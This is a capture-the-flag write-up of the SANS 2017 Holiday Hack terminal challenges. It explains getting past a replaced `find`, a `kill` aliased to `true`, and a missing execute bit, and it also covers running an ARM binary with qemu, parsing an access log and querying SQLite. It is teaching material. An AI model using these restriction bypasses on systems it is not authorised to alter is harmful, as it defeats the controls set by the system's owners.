SANS 2017 Holiday Hack Writeup

                                 |
                               \ ' /
                             -- (*) --
                                >*<
                               >0<@<
                              >>>@<<*
                             >@>*<0<<<
                            >*>>@<<<@<<
                           >@>>0<<<*<<@<
                          >*>>0<<@<<<@<<<
                         >@>>*<<@<>*<<0<*<
           \*/          >0>>*<<@<>0><<*<@<<
       ___\\U//___     >*>>@><0<<*>>@><*<0<<
       |\\ | | \\|    >@>>0<*<0>>@<<0<<<*<@<<  
       | \\| | _(UU)_ >((*))_>0><*<0><@<<<0<*<
       |\ \| || / //||.*.*.*.|>>@<<*<<@>><0<<<
       |\\_|_|&&_// ||*.*.*.*|_\\db//_               
       """"|'.'.'.|~~|.*.*.*|     ____|_
           |'.'.'.|   ^^^^^^|____|>>>>>>|
           ~~~~~~~~         '""""`------'

My name is Bushy Evergreen, and I have a problem for you.
I think a server got owned, and I can only offer a clue.
We use the system for chat, to keep toy production running.
Can you help us recover from the server connection shunning?


Find and run the elftalkd binary to complete this challenge.

From this game: https://2017.holidayhackchallenge.com/game/7e48d6aa-4b73-4027-b23b-a6a1a3460d54

Direct Link: https://docker2017.holidayhackchallenge.com/?challenge=eb5282de-5e43-4813-8ada-5aee3cdb101e&uid=USER_ID

We are logged in as the user elf. According to Bushy Green's Twitter account someone copied the wrong find executable onto his system.

According to the MOTD we need to find and run the elftalkd binary.

Bushy Evergreen on Twitter has a hint:

Ugh, somebody copied over the wrong `find` executable to my system today. How am I supposed to know where find normally is?!

— Bushy Evergreen (@GreenestElf) December 5, 2017

To solve this challenge we need to find a valid version of find on the system or some other viable version to find the elftalkd binary.

First we need to test what's wrong with find.

elf@784e43534178:~$ find
bash: /usr/local/bin/find: cannot execute binary file: Exec format error

It looks like find is located in /usr/local/bin/find. find is a standard UNIX utility and is not normally located in /usr/local so this output is unexpected. Let's look at our PATH variable that identifies the order that executables are located in.

elf@784e43534178:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

/usr/local/bin is prioritized before /usr/bin. Let's see if find exists in the normal /usr/bin location.

elf@784e43534178:~$ ls -al /usr/bin/find
-rwxr-xr-x 1 root root 221768 Feb  7  2016 /usr/bin/find

The original find is still there. We can use it to find the elftalkd binary and execute it.

elf@784e43534178:~$ /usr/bin/find / -iname elftalkd            
/usr/bin/find: '/var/cache/ldconfig': Permission denied
/usr/bin/find: '/var/cache/apt/archives/partial': Permission denied
/usr/bin/find: '/var/lib/apt/lists/partial': Permission denied
/run/elftalk/bin/elftalkd
/usr/bin/find: '/proc/tty/driver': Permission denied
/usr/bin/find: '/root': Permission denied
elf@784e43534178:~$ /run/elftalk/bin/elftalkd

	Running in interactive mode

	--== Initializing elftalkd ==--
Initializing Messaging System!
Nice-O-Meter configured to 0.90 sensitivity.
Acquiring messages from local networks...


--== Initialization Complete ==--

      _  __ _        _ _       _ 
     | |/ _| |      | | |     | |
  ___| | |_| |_ __ _| | | ____| |
 / _ \ |  _| __/ _` | | |/ / _` |
|  __/ | | | || (_| | |   < (_| |
 \___|_|_|  \__\__,_|_|_|\_\__,_|

-*> elftalkd! <*-
Version 9000.1 (Build 31337) 
By Santa Claus & The Elf Team
Copyright (C) 2017 NotActuallyCopyrighted. No actual rights reserved.
Using libc6 version 2.23-0ubuntu9
LANG=en_US.UTF-8
Timezone=UTC

Commencing Elf Talk Daemon (pid=6021)... done!
Background daemon...

The quick method is to iterate through using wildcards to execute the binary.

elf@784e43534178:~$ /elftalkd
bash: /elftalkd: No such file or directory
elf@784e43534178:~$ /*/elftalkd
bash: /*/elftalkd: No such file or directory
elf@784e43534178:~$ /*/*/elftalkd
bash: /*/*/elftalkd: No such file or directory
elf@784e43534178:~$ /*/*/*/elftalkd

	Running in interactive mode

	--== Initializing elftalkd ==--
Initializing Messaging System!
...

This can also be further simplified by using the relatively new bash option globstar. According to the documentation, "If set, the pattern '**' used in a filename expansion context will match all files and zero or more directories and subdirectories. If the pattern is followed by a ‘/’, only directories and subdirectories match." With this option enabled, we only need a single attempt to find and execute the binary:

elf@784e43534178:~$ shopt -s globstar
elf@784e43534178:~$ /**/elftalkd
	Running in interactive mode
	--== Initializing elftalkd ==--
Initializing Messaging System!
...

                ___,@
               /  <
          ,_  /    \  _,
      ?    \`/______\`/
   ,_(_).  |; (e  e) ;|
    \___ \ \/\   7  /\/    _\8/_
        \/\   \'=='/      | /| /|
         \ \___)--(_______|//|//|
          \___  ()  _____/|/_|/_|
             /  ()  \    `----'
            /   ()   \
           '-.______.-'
   jgs   _    |_||_|    _
        (@____) || (____@)
         \______||______/


My name is Sparkle Redberry, and I need your help.
My server is atwist, and I fear I may yelp.
Help me kill the troublesome process gone awry.
I will return the favor with a gift before nigh.


Kill the "santaslittlehelperd" process to complete this challenge.

From this game: https://2017.holidayhackchallenge.com/game/3e813a9c-cb34-492e-a317-0dd99c8ca2e7

Direct link: https://docker2017.holidayhackchallenge.com/?challenge=82c16868-a96e-4e4c-955e-5b41f7c5809a&uid=USER_ID

elf@784e43534178:~$ D="------"; echo "$D System info:"; uname -a; cat /etc/issue; echo "$D Differences from skeleton home directory:"; diff -r /etc/skel .; echo "$D Who am I?"; id; echo "$D Running procs:"; ps axf
------ System info:
Linux 784e43534178 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux
Ubuntu 16.04.3 LTS \n \l
------ Differences from skeleton home directory:
diff -r /etc/skel/.bashrc ./.bashrc
81c81,84
< 
---
>     alias kill='true'
>     alias killall='true'
>     alias pkill='true'
>     alias skill='true'
117a121,122
> PATH=$PATH:/usr/games
> cat /etc/motd
------ Who am I?
uid=1000(elf) gid=1000(elf) groups=1000(elf)
------ Running procs:
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
    8 pts/0    S      0:00 /usr/bin/santaslittlehelperd
   11 pts/0    S      0:00 /sbin/kworker
   18 pts/0    S      0:01  \_ /sbin/kworker
   12 pts/0    S      0:00 /bin/bash
  994 pts/0    R+     0:00  \_ ps axf

We see that /usr/bin/santaslittlehelperd is running, and we're told that we need to kill it. However, we see that in our .bashrc file, kill and its variants are aliased to true, which has no effect.

We need to kill santaslittlehelperd, but our kill has been turned ineffective.

Sparkle Redberry on Twitter has some hints:

Dear #lazyweb: How do I fix a malicious alias on my Linux box? It seems to be stopping me from killing processes...

— Sparkle Redberry (@GlitteryElf) December 6, 2017

I tried `man alias`, but that doesn't even exist. It looks like maybe it's a built-in to bash itself?

— Sparkle Redberry (@GlitteryElf) December 6, 2017

Update: I read into `man bash`, and I even found a section on ALIASES (starting with "Aliases allow a string to be substituted for a word when it is used as the first word of a simple command[...]" but I couldn't even make it 40 words in before I got all cross-eyed.

— Sparkle Redberry (@GlitteryElf) December 6, 2017

From the Bash documentation:

A Bash alias is essentially nothing more than a keyboard shortcut, an abbreviation, a means of avoiding typing a long command sequence.

Here, however, aliases have been used to effectively disable kill and its brethren. We need to figure out a way to run the real version of kill instead of the aliased version. One way to do this is to use the which command:

elf@784e43534178:~$ which kill
/bin/kill

Using the full path to the binary will bypass the alias, and allow us to actually run kill.

elf@784e43534178:~$ /bin/kill -h
Usage:
 kill [options] <pid> [...]
Options:
 <pid> [...]            send signal to every <pid> listed
 -<signal>, -s, --signal <signal>
			specify the <signal> to be sent
 -l, --list=[<signal>]  list all signal names, or convert one to a name
 -L, --table            list all signal names in a nice table
 -h, --help     display this help and exit
 -V, --version  output version information and exit
For more details see kill(1).

All that's left is to determine the process ID (pid) of the process to be killed. We can use the ps command to determine this:

elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
    8 pts/0    S      0:00 /usr/bin/santaslittlehelperd
   11 pts/0    S      0:00 /sbin/kworker
   18 pts/0    S      0:01  \_ /sbin/kworker
   12 pts/0    S      0:00 /bin/bash
  649 pts/0    R+     0:00  \_ ps axf
elf@784e43534178:~$ /bin/kill 8
elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
   12 pts/0    S      0:00 /bin/bash
  658 pts/0    R+     0:00  \_ ps axf

Santa's little helper is no more.

A one-liner is: /usr/bin/pkill -f santaslittlehelperd. pkill can kill a process by name, and the -f argument will have it match against the full name of the process.

Another approach is simply to remove the alias, by using the unalias command:

elf@784e43534178:~$ unalias kill
elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
    8 pts/0    S      0:00 /usr/bin/santaslittlehelperd
   11 pts/0    S      0:00 /sbin/kworker
   18 pts/0    S      0:00  \_ /sbin/kworker
   12 pts/0    S      0:00 /bin/bash
   31 pts/0    R+     0:00  \_ ps axf
elf@784e43534178:~$ kill 8
elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
   12 pts/0    S      0:00 /bin/bash
   36 pts/0    R+     0:00  \_ ps axf

Alternatively, you could run bash with the --norc flag, which prevents it from reading and executing the ~/.bashrc file where the aliases are added.

One more approach is to call the command you want with a backslash.

elf@784e43534178:~$ \kill 8
elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
   12 pts/0    S      0:00 /bin/bash
   36 pts/0    R+     0:00  \_ ps axf

Or call the command in quotes.

elf@784e43534178:~$ "kill" 8
elf@784e43534178:~$ ps axf
  PID TTY      STAT   TIME COMMAND
    1 pts/0    Ss     0:00 /bin/bash /sbin/init
   12 pts/0    S      0:00 /bin/bash
   36 pts/0    R+     0:00  \_ ps axf

The fact that kill was aliased to true was problematic, because true never returns any output. Thus, it would look like the kill command worked, but the process would still be running. Running something like kill -h would reveal that kill was not being run correctly, since the help output would not be displayed.

                     ___
                    / __'.     .-"""-.
              .-""-| |  '.'.  / .---. \
             / .--. \ \___\ \/ /____| |
            / /    \ `-.-;-(`_)_____.-'._
           ; ;      `.-" "-:_,(o:==..`-. '.         .-"-,
           | |      /       \ /      `\ `. \       / .-. \
           \ \     |         Y    __...\  \ \     / /   \/
     /\     | |    | .--""--.| .-'      \  '.`---' /
     \ \   / /     |`        \'   _...--.;   '---'`
      \ '-' / jgs  /_..---.._ \ .'\\_     `.
       `--'`      .'    (_)  `'/   (_)     /
                  `._       _.'|         .'
                     ```````    '-...--'`

My name is Holly Evergreen, and I have a conundrum.
I broke the candy cane striper, and I'm near throwing a tantrum.
Assembly lines have stopped since the elves can't get their candy cane fix.
We hope you can start the striper once again, with your vast bag of tricks.


Run the CandyCaneStriper executable to complete this challenge.

From this game: https://2017.holidayhackchallenge.com/game/a1f7ac49-8210-436b-9e25-0c19f9ebfe02

Direct link: https://docker2017.holidayhackchallenge.com/?challenge=da6d34d1-012b-420b-a7d5-369914353578&uid=USER_ID

Upon initial inspection we discover that /usr/bin/chmod is empty and CandyCaneStriper has no execution flags set.

We need to run the CandyCaneStriper program, but we can't use the chmod binary.

Holly Evergreen on Twitter has a hint

Update: LD_PRELOAD is awesome, but it doesn't help in this situation. https://t.co/gkF690pdAJ looks like the right approach, but it's not working on this system for some reason. Ugh, I step away from this for a bit and check with others. I'm too frustrated.

— Holly Evergreen (@GreenesterElf) December 6, 2017

Following the link describes a familiar situation:

Is there a way to run an executable binary file under Linux which does not have the execute bit set? chmod +x is not an option.

Let's take a look at the executable we're dealing with:

elf@784e43534178:~$ ls -l CandyCaneStriper 
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
elf@784e43534178:~$ file CandyCaneStriper 
CandyCaneStriper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=bfe4ffd88f30e6970feb7e3341ddbe579e9ab4b3, stripped

Much like how Python and Perl scripts have interpreters, ELF binaries also have interpreters. For our target, file tells us that our interpreter is /lib64/ld-linux-x86-64.so.2.

elf@784e43534178:~$ /lib64/ld-linux-x86-64.so.2
Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]
You have invoked `ld.so', the helper program for shared library executables.
This program usually lives in the file `/lib/ld.so', and special directives
in executable files using ELF shared libraries tell the system's program
loader to load the helper program from this file.  This helper program loads
the shared libraries needed by the program executable, prepares the program
to run, and runs it.  You may invoke this helper program directly from the
command line to load and run an ELF executable file; this is like executing
that file itself, but always uses this helper program from the file you
specified, instead of the helper program file specified in the executable
file you run.  This is mostly of use for maintainers to test new versions
of this helper program; chances are you did not intend to run this program.
  --list                list all dependencies and how they are resolved
  --verify              verify that given object really is a dynamically linked
			object we can handle
  --inhibit-cache       Do not use /etc/ld.so.cache
  --library-path PATH   use given PATH instead of content of the environment
			variable LD_LIBRARY_PATH
  --inhibit-rpath LIST  ignore RUNPATH and RPATH information in object names
			in LIST
  --audit LIST          use objects named in LIST as auditors

elf@784e43534178:~$ /lib64/ld-linux-x86-64.so.2 ./CandyCaneStriper 

elf@784e43534178:~$ /lib64/ld-linux-x86-64.so.2 ./CandyCaneStriper
		   _..._
		 .'\\ //`,      
		/\\.'``'.=",
	       / \/     ;==|
	      /\\/    .'\`,`
	     / \/     `""`
	    /\\/
	   /\\/
	  /\ /
	 /\\/
	/`\/
	\\/
	 `
The candy cane striping machine is up and running!

There are many different ways to solve this challenge.

Overwrite an executable file with the existing binary:

elf@784e43534178:~$ ls -l /bin/chmod
-rwxr-xr-x 1 root root 0 Dec 15 20:00 /bin/chmod
elf@784e43534178:~$ cp /bin/ls new
elf@784e43534178:~$ cat CandyCaneStriper  > new
elf@784e43534178:~$ ls -l
total 96
-rw-r--r-- 1 root root 45224 Dec 15 19:59 CandyCaneStriper
-rwxr-xr-x 1 elf  elf  45224 Dec 17 00:15 new
elf@784e43534178:~$ ./new

Use python to chmod. The chmod binary is just a wrapper around the chmod libc function. Any programming language will have this available:

>>> import os
>>> os.chmod("CandyCaneStriper", 0755)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 1] Operation not permitted: 'CandyCaneStriper'

FAIL :( For some reason we can't modify CandyCaneStriper. What if make a copy first?

elf@784e43534178:~$ cp CandyCaneStriper c
elf@784e43534178:~$ python
Python 2.7.12 (default, Nov 20 2017, 18:23:56) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.chmod("c", 0755)
>>> ^d
elf@784e43534178:~$ ./c

With perl:

elf@784e43534178:~$ cp CandyCaneStriper c
elf@784e43534178:~$ cat > fix.pl
chmod 0755 "c";
^d
elf@784e43534178:~$ perl fix.pl 
String found where operator expected at fix.pl line 1, near "0755 "c""
	(Missing operator before  "c"?)
syntax error at fix.pl line 1, near "0755 "c""
Execution of fix.pl aborted due to compilation errors.
elf@784e43534178:~$ cat > fix.pl
chmod 0755, "c";
^d
elf@784e43534178:~$ perl fix.pl 
elf@784e43534178:~$ ./c

Or as a perl one liner, now that we figured out the syntax:

elf@784e43534178:~$ cp CandyCaneStriper c
elf@784e43534178:~$ perl -e 'chmod 0755, "c"'

                             ______
                          .-"""".._'.       _,##
                   _..__ |.-"""-.|  |   _,##'`-._
                  (_____)||_____||  |_,##'`-._,##'`
                  _|   |.;-""-.  |  |#'`-._,##'`
               _.;_ `--' `\    \ |.'`\._,##'`
              /.-.\ `\     |.-";.`_, |##'`
              |\__/   | _..;__  |'-' /
              '.____.'_.-`)\--' /'-'`
               //||\\(_.-'_,'-'`
             (`-...-')_,##'`
      jgs _,##`-..,-;##`
       _,##'`-._,##'`
    _,##'`-._,##'`
      `-._,##'`
My name is Pepper Minstix, and I need your help with my plight.
I've crashed the Christmas toy train, for which I am quite contrite.
I should not have interfered, hacking it was foolish in hindsight.
If you can get it running again, I will reward you with a gift of delight.

From this game: https://2017.holidayhackchallenge.com/game/41a1e6bb-60c3-4695-ad04-514fbcc76afa

Direct link: https://docker2017.holidayhackchallenge.com/?challenge=4050467e-9cde-44cd-aa63-1a0b8b210bb7&uid=USER_ID

We're logged in as the user elf. There's a file called trainstartup in our home directory.

This is a 64-bit x86 system:

elf@784e43534178:~$ uname -a
Linux 784e43534178 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3 (2017-12-03) x86_64 x86_64 x86_64 GNU/Linux

It looks like we just want to run the trainstartup file, but if we try that, we get an exec error:

elf@784e43534178:~$ ./trainstartup 
bash: ./trainstartup: cannot execute binary file: Exec format error

Pepper Minstix on Twitter has a hint:

Actually, @GreenesterElf , you're better at prompt commands than I am. Why can't I get this model train thing working? I'm in the right directory like you taught me, but this system is still saying "No such file or directory"

— Pepper Minstix (@PepperyGoodness) December 6, 2017

Holly Evergreen on Twitter has a hint for this as well:

I still can't figure out Pepper Minstix's issue. It looks like the binary is compiled for another architecture. I think qemu can help, but I don't want to run the entire OS :\ https://t.co/pikSOOkyZe helps, but I just want one binary, not the whole system!

— Holly Evergreen (@GreenesterElf) December 6, 2017

There's really not much to go on here. We'll first use file to identify the trainstartup binary:

elf@784e43534178:~$ file trainstartup 
trainstartup: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=005de4685e8563d10b3de3e0be7d6fdd7ed732eb, not stripped

So the file is a Linux ELF binary, but it's for the ARM processor, and not for the x86_64 system that we're on. Let's see if there are any programs in our path that have arm in the file name:

elf@784e43534178:~$ compgen -c | grep arm
qemu-arm
qemu-armeb

Running it with the help option gives us:

elf@784e43534178:~$ qemu-arm -h
usage: qemu-arm [options] program [arguments...]
Linux CPU emulator (compiled for arm emulation)
...

This looks like exactly what we need. qemu-arm provides us with an ARM emulator, and we just need to run it with our program as the single argument. Let's give it a shot:

elf@784e43534178:~$ qemu-arm ./trainstartup 
Starting up ... 

    Merry Christmas
    Merry Christmas
v
>*<
^
/o\
/   \               @.·
/~~   \                .
/ ° ~~  \         ·      
/      ~~ \       ◆       
/     °   ~~\      .   0
/~~           \    ─· ─ · o
    ┌┐       /° ·~~  .*·   . \
     ▒▒▒\     │  ──┬─°─┬─°─°─°─
≠==≠°=≠°=≠==──┼──=≠     ≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠
	      │   /└───┘\┌───┐                                                 
			 └───┘                                                 
≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠==≠



You did it! Thank you!

Success!

You need to use qemu-arm to run the ARM binary: qemu-arm ./trainstartup

The real difficulty of this terminal was in discovering that you needed to use qemu-arm. compgen -c is a handy trick in CTFs to figure out what special programs are installed on a certain system. Another useful trick is using find to see what changes were made to the system after it was installed. Let's take a quick look at qemu-arm and at another file we know was changed, trainstartup:

elf@784e43534178:~$ stat /usr/bin/qemu-arm trainstartup 
  File: '/usr/bin/qemu-arm'
  Size: 1725888         Blocks: 3376       IO Block: 4096   regular file
Device: 801h/2049d      Inode: 1049395     Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2017-09-20 14:01:57.000000000 +0000
Modify: 2017-09-20 14:01:57.000000000 +0000
Change: 2017-12-06 20:01:07.719592650 +0000
 Birth: -
  File: 'trainstartup'
  Size: 454636          Blocks: 888        IO Block: 4096   regular file
Device: 801h/2049d      Inode: 1049511     Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2017-12-07 18:43:55.000000000 +0000
Modify: 2017-12-07 18:43:55.000000000 +0000
Change: 2017-12-07 18:43:58.191037092 +0000
 Birth: -

If we look at the change time (or ctime), we can see that this system was setup around December 6th, with the status of trainstartup being changed the next day. An important thing to remember with ctime is that the file contents didn't change, but some data in the file inode did (permissions, creation, etc.). Normally, we might use something like the modification time, but that doesn't work well for files installed from packages.

A common way to setup a system is to first add sources to the package manager, then install any necessary packages, and make any additional modifications to a system. Let's use find to see what files were modified after /etc/apt was changed, and we'll look for files with arm in the name:

elf@784e43534178:~$ find / -xdev -cnewer /etc/apt/sources.list | grep -w arm
/usr/bin/qemu-arm
/usr/share/man/man1/qemu-arm.1.gz

In this case, I'm using -xdev to restrict the find to files on the same device (thus excluding /sys, /proc, etc.).

If that still didn't work, here's a one-liner to sort the files on the system according to when their ctime was modified. This would enable you to see a complete timeline of changes to files:

elf@784e43534178:~$ find / -xdev -printf "%C+\t%p\n" | sort | head
2017-12-04+14:36:51.7363603170  /bin/bash
2017-12-04+14:36:51.7363603170  /bin/bunzip2
2017-12-04+14:36:51.7363603170  /bin/bzcat
2017-12-04+14:36:51.7363603170  /bin/bzcmp
2017-12-04+14:36:51.7363603170  /bin/bzdiff
2017-12-04+14:36:51.7363603170  /bin/bzegrep
...

This terminal was tricky because almost no information was given. Knowing how to use file to identify that trainstartup was an ARM binary, and knowing how to find qemu-arm was key.

If you simply google "cannot execute binary file: Exec format error" it will lead you down a rabbit hole. Normally, this error is caused by downloading a binary for the wrong architecture and the fix is to simply re-download the right binary. In this case, we can't download a version of the binary built for the correct architecture. What we need to do is "Run arm binary on amd64". Searching for this points us to using qemu as an emulator.

                           ._    _.
                           (_)  (_)                  <> \  / <>
                            .\::/.                   \_\/  \/_/ 
           .:.          _.=._\\//_.=._                  \\//
      ..   \o/   ..      '=' //\\ '='             _<>_\_\<>/_/_<>_
      :o|   |   |o:         '/::\'                 <> / /<>\ \ <>
       ~ '. ' .' ~         (_)  (_)      _    _       _ //\\ _
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       _ .' . '. _                        \\//       <> /  \ <>
      :o|   |   |o:                   /\_\\><//_/\
      ''   /o\   ''     '.|  |.'      \/ //><\\ \/
           ':'        . ~~\  /~~ .       _//\\_
jgs                   _\_._\/_._/_      \_\  /_/ 
                       / ' /\ ' \                   \o/
       o              ' __/  \__ '              _o/.:|:.\o_
  o    :    o         ' .'|  |'.                  .\:|:/.
    '.\'/.'                 .                 -=>>::>o<::<<=-
    :->@<-:                 :                   _ '/:|:\' _
    .'/.\'.           '.___/*\___.'              o\':|:'/o 
  o    :    o           \* \ / */                   /o\
       o                 >--X--<
                        /*_/ \_*\
                      .'   \*/   '.
                            :
                            '
Minty Candycane here, I need your help straight away.
We're having an argument about browser popularity stray.
Use the supplied log file from our server in the North Pole.
Identifying the least-popular browser is your noteworthy goal.

From this game: https://2017.holidayhackchallenge.com/game/dbb44df8-af5e-4136-b72e-ebd9dfb32b4a

Direct link: https://docker2017.holidayhackchallenge.com/?challenge=595aeb87-d3b2-41a3-b612-fa553a30e822&uid=USER_ID

The goal is to analyze a 'log file' and determine what the least popular browser.

Minty Candycane on Twitter has some hints

Oh wow, @Sw4mp_f0x and @bluscreenofjeff did a great job on this Parsing for Pentesters series! https://t.co/g1LcCWjH4Q

— Minty Candycane (@SirMintsALot) December 5, 2017

The only thing that last article didn't really help me with was *counting* unique lines. This post looks super helpful for that! https://t.co/QaPQ4Ml0JD (it's even against web server logs, just the wrong field)

— Minty Candycane (@SirMintsALot) December 7, 2017

A directory listing shows that terminal contains a binary called 'runtoanswer', as well as fairly large 'access.log' file:

elf@784e43534178:~$ ls -lh
total 29M
-rw-r--r-- 1 root root  24M Dec  4 17:11 access.log
-rwxr-xr-x 1 root root 5.0M Dec 11 17:31 runtoanswer
elf@784e43534178:~$ wc -l access.log 
98655 access.log

elf@784e43534178:~$ head -n1 access.log 
XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"

This log format should should seem familiar to sysadmins. The "Common Log Format" actually used to be called the "NCSA Common Log Format" when it was used by NCSA HTTPd in 1993 (before that became Apache). Please don't blame us for how bad this format is! The fact that a challenge is simply to parse this format should be indication enough that somewhere along the way, mistakes were made. Fields are separated by spaces. …except for the timestamp, which is wrapped in brackets. …and the request, which is the "method uri protocol." …and of course the user-agent. Some fields are hex-encoded, too!

All we want is the user-agent strings, so we can split the log lines on the double quote char.

Our solution is to use the cut tool, along with sort and uniq to find the least popular browser. cut is very limited compared to tools like awk or sed, but it is often simpler to use. We just need to grab the right field. We can experiment on just the first line using head and figure this out using trial and error:

elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 4
-
elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 5

elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 6
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)

The 6th field is the user agent. We also only want everything to the left of the first slash, so different versions of the same browser are merged:

elf@784e43534178:~$ head -n 1 access.log |cut -d '"' -f 6|cut -d / -f 1
Mozilla

Now that the browser is isolated, we can switch head -n 1 with cat, and use the standard sort | uniq -c | sort -n to grab a frequency:

elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|cut -d / -f 1|sort|uniq -c|sort -n|tail -n 5
     33 slack
     34 Googlebot-Image
    143 -
    422 Slack-ImgProxy (+https:
  97896 Mozilla

Oops. Mixed up the ordering, need the first 5, not the last 5:

elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|cut -d / -f 1|sort|uniq -c|sort -n|head -n 5
      1 Dillo
      2 (KHTML, like Gecko) Chrome
      2 Slackbot-LinkExpanding 1.0 (+https:
      2 Telesphoreo
      2 Twitter

Looks like Justin's favorite lightweight browser from 2001 is not very popular these days.

We can also confirm that the log file only has a single entry for this user-agent:

elf@784e43534178:~$ grep Dillo access.log 
XX.YY.54.139 - - [27/Nov/2017:19:41:49 -0500] "GET /invoker/JMXInvokerServlet HTTP/1.1" 301 185 "-" "Dillo/3.0.5"

The most common issue appeared to be the result of not normalizing the different browser versions. If you count each VERSION of a browser as a separate program, you will get a result like:

elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|sort|uniq  -c|sort -n|head -n 5
      1 Dillo/3.0.5
      1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
      1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko)
      1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
      1 Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko

or like:

elf@784e43534178:~$ cat access.log |cut -d '"' -f 6|cut -d ' ' -f 1|sort|uniq  -c|sort -n
      1 Dillo/3.0.5
      1 curl/7.35.0

                       *
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                  O'~..~'O'~.
                 .~'O'~..~'O'~
                ..~'O'~..~'O'~.
               .~'O'~..~'O'~..~'
              O'~..~'O'~..~'O'~..
             ~'O'~..~'O'~..~'O'~..
            ~'O'~..~'O'~..~'O'~..~'
           O'~..~'O'~..~'O'~..~'O'~.
          .~'O'~..~'O'~..~'O'~..~'O'~
         ..~'O'~..~'O'~..~'O'~..~'O'~.
        .~'O'~..~'O'~..~'O'~..~'O'~..~'
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     ~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
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   .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~
  ..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.
 .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..

Sugarplum Mary is in a tizzy, we hope you can assist.
Christmas songs abound, with many likes in our midst.
The database is populated, ready for you to address.
Identify the song whose popularity is the best.

From this game: https://2017.holidayhackchallenge.com/game/5bbfc970-71d2-4c9d-816c-25955536c168

Direct link: https://docker2017.holidayhackchallenge.com/?challenge=ab13b9fc-6e7c-4477-a8a1-bca7b616b877&uid=USER_ID

When we login, we see we have two files of interest in our current directory: christmassongs.db and runtoanswer.

If we try running runtoanswer, we see:

elf@784e43534178:~$ ./runtoanswer 
Starting up, please wait......
Enter the name of the song with the most likes:

The SANS Pen-Test Blog had a post about essential SQL commands, which might be useful:

Your Pokemon Guide for Essential SQL Pen Test Commands https://pen-testing.sans.org/blog/2017/12/09/your-pokemon-guide-for-essential-sql-pen-test-commands

Determine which song in christmassongs.db has the most likes.

Sugarplum Mary on Twitter has a hint:

Hey @PepperyGoodness, can you help me with an SQL problem I've seen? I think I need to do GROUP BY, but I'm not quite sure of the syntax.

— SugerPlum Mary (@ThePlumSweetest) December 13, 2017

Let's see exactly what this "db" file is:

elf@784e43534178:~$ less christmassongs.db 
bash: less: command not found
elf@784e43534178:~$ more christmassongs.db 
SQLite format 3
...

sqlite! Ok! Let's start up sqlite and change some output options

elf@784e43534178:~$ sqlite3 christmassongs.db 
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .mode tabs  
sqlite> .headers on

Now, let's see what we are working with here.

sqlite> .schema
CREATE TABLE songs(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  title TEXT,
  artist TEXT,
  year TEXT,
  notes TEXT
);
CREATE TABLE likes(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  like INTEGER,
  datetime INTEGER,
  songid INTEGER,
  FOREIGN KEY(songid) REFERENCES songs(id)
);

As a sanity check, let's see what one record of each looks like.

sqlite> select * from songs limit 1;

sqlite> select * from likes limit 1;

Two tables, "songs", and "likes". likes.songid matches up with songs.id. This means we can join the two tables together on songs.id=likes.songid. Once that is done, the solution requires the count of likes grouped by title:

sqlite> select title, count(*) from songs, likes where songs.id=likes.songid group by title order by count(*) desc limit 3;

